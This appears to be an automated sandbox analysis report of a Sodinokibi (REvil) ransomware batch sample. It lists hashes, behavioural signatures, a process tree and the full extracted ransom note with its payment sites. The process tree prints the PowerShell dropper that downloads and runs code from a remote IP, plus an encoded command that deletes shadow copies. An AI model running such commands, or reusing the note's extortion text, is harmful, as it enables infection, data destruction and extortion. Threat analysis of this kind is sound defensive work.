Analysis

  • max time kernel
    140s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    17-05-2020 20:10

General

  • Target

    df334765cb86900aeb9265c48916c137.bat

  • Size

    216B

  • MD5

    a5ab635f123ce58648141c6dfd2b8c99

  • SHA1

    da19de350a515c434870a6493a1d7484cb5f64df

  • SHA256

    ec1d6ba7554a54f9a7f29c8d80402ca165daad5f17549536d444fd0308adf769

  • SHA512

    e69b7a51700f56cb940b3fba88e836a799cbbd61be6a57199ed18161a2096a688effd8c2a20409022791ee2c28ec1037c908eb338763bf43f53d5809eeeff691

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/df334765cb86900aeb9265c48916c137

Extracted

Path

C:\8at2a4-read-me.txt

Family

sodinokibi

Ransom Note
---=== Welcome Pilot Freight Services Inc. ===--- [+] Whats Happen? [+] Your internal network has been penetrated. Your files are encrypted with strong military algorithm, and currently unavailable. You can check it: all files on your system has extension 8at2a4. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). Also, all your business info copyed to our servers. Personal data of your patient and business contacts extracted. If you do not take action to contact us, the data will be published fo free access everyone. As soon as we receive the payment, all data will be deleted from our servers. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B9C760F0E8C9E902 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B9C760F0E8C9E902 Contact with us in chat on website. You have 3 days. If you need more time to make a decision and collect money for payment - inform the support chat about this. [+] How will the decryption process proceed after payment? [+] After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 6G+46jcTyjfjNgXaHqc4oCzYOJb9hM8dAjnh0GDLPvt9HwNgwYnOQjBUSTfX0i7b fR9pUdWLBc1ENhOARC1YcMOxcnbCp3r7sONLPGcW86tyP5C6q6wZEFtoFGFggr3q h6qzocrL6RG8DvFJxZtKeMWMcdd0gdy3h9J48IbHLJmVfyj4BU/0KL8D/c9FAuvv 6uBeSXKK3OMmHkAFVEysyb06GjF1gZxiseFGHSvIK8EZJbKHjjqtg/jPcxhqnkWC /XyZ3aHMDsqSqv7gmGsRHox6ITO4dexDxRZ6cv+KLXkjfc1fSU4WivhAWvRucBXe E3qMVd+iIqWoitVfVkTwHcw44O+mVKdHlimi/FCXjpvvhyYh9n1egajufWsuJlcO ivtnv8lPPfG3Id2U5tEtH/xtLtHx1usla7xyeu9sko+KI0vI4gkKk87qQ47aFGgU H7uBOfPISBcl8VSEjacb8gAKWYQNJZaZi4knZ7rqBRGGbHcPhDPHf6Ioe+H8Evfk 45KpI7Fk+2mPiPONUepsf9VZdYQIgpzD3jKGi7SJOSz3w+zMZQeaB8wxsd1XwPkK hS1fykPUwRag59l6GTv/edXKnX9skzytRwQIK/gk0ruEhrvO5O+vNTjjd0Fjis+y uINZcbMBgAe1k9w7hBUoCgcU6ikdyzFVyH+27Kq9pMiaeiLEhN3WUXqqK4MVObH+ 7ODgJ6Pf++KS7e+guYL29aFt4/1Tp/CLypTBiF5CmkUthFx1bg3leVEaN6MHjuiL qhyEVdViyRpwEanF9X+O5JeEURJoJxEEvllu7bXJ8xi/k25DSXpsfcQotY8U6i+g opgQ9a0aVmjPndkj1JRqLv1A46BKth/OmgrBa9gqUqp52QPLVRDKWtbxZ3zXmfhu SbQsiFLUrDoD25f7ZEQU8tcQVm8yjemPe7EkJcwHfZxc6gE5tgDalOLu1kRZVqn6 SMYCeL+wL/32aC5HSKWuauwimOY057LA5U+j1wq9bay/505jnPhhqYcJos8FIheH /09bn8YGxjvDO22ZLdy5XPwPV6M6/8GTswlRS7Z9Sf8dRje+EcekIC/dsKaiievI 9oidtalZO1sJl6CJOI/u29V//ZxhndEe2b3Y+YuPBEb6GaCuud+tonHubeniT3lN 39bejA558H8RZoN7l6SoKmxKCMNaDzqBvuPGk1Ja0TQG/Dg1j+LrGV2JJsGEJCxo s94xgIooVNL32OPYOWKHRM0fB4hwzmPF+xus5tL2FnBtzd7LFle4JLSgYGy4ngNc JIR76dC76yIpIvcNylBUKV4ZUCUQoSMi4g+UP8urm1E= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B9C760F0E8C9E902

http://decryptor.cc/B9C760F0E8C9E902

Signatures

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Enumerates connected drives 3 TTPs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Modifies service 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 77 IoCs
  • Blacklisted process makes network request 70 IoCs
  • Drops file in Program Files directory 26 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\df334765cb86900aeb9265c48916c137.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1312
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/df334765cb86900aeb9265c48916c137');Invoke-ADDYUVRSM;Start-Sleep -s 10000"
      2⤵
      • Sets desktop wallpaper using registry
      • Drops file in System32 directory
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      • Drops file in Program Files directory
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious use of WriteProcessMemory
      PID:1480
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        PID:1688
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Modifies service
    PID:1592

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms